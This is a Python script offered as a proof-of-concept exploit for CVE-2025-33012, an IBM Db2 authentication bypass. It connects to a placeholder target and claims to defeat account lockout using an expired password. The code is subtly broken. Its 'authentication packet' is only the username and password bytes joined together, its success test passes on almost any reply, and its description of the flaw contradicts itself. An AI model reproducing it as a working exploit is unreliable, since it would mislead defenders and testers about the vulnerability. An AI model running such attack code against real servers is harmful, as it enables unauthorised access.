CVE-2025-33012

# CVE-2025-33012 PoC - IBM Db2 Authentication Bypass # This PoC demonstrates the authentication bypass after account lockout import socket import ssl import hashlib def cve_2025_33012_poc(): """ PoC for CVE-2025-33012: IBM Db2 authentication bypass after password expiration This vulnerability allows authenticated users to regain access after account lockout due to password use after expiration date. Prerequisites: - Valid IBM Db2 user account - Account with expired password - Network access to IBM Db2 server """ target_host = "TARGET_IP" target_port = 50000 # Default IBM Db2 port username = "target_user" expired_password = "expired_password_123" print(f"[*] Attempting to connect to IBM Db2 at {target_host}:{target_port}") # Step 1: Establish connection to Db2 server try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) print("[+] Connected to Db2 server") # Step 2: Send authentication request with expired password # The vulnerability allows bypass of account lockout when using expired password auth_packet = create_db2_auth_packet(username, expired_password) sock.send(auth_packet) # Step 3: Receive and analyze response response = sock.recv(1024) if is_authentication_successful(response): print("[+] Authentication bypass successful - Access granted with expired password") print("[+] Account lockout mechanism has been bypassed") return True else: print("[-] Authentication failed - Vulnerability may not be present or already patched") return False except Exception as e: print(f"[-] Error: {str(e)}") return False finally: sock.close() def create_db2_auth_packet(username, password): """Create IBM Db2 authentication packet""" # Simplified packet structure for demonstration # Actual implementation requires proper Db2 protocol handling packet = bytearray() packet.extend(username.encode('utf-8')) packet.extend(password.encode('utf-8')) return packet def is_authentication_successful(response): """Check if authentication was successful""" # Response parsing logic for Db2 authentication response return b"sqlcode" not in response or b"0" in response if __name__ == "__main__": print("CVE-2025-33012 IBM Db2 Authentication Bypass PoC") print("=" * 50) cve_2025_33012_poc()

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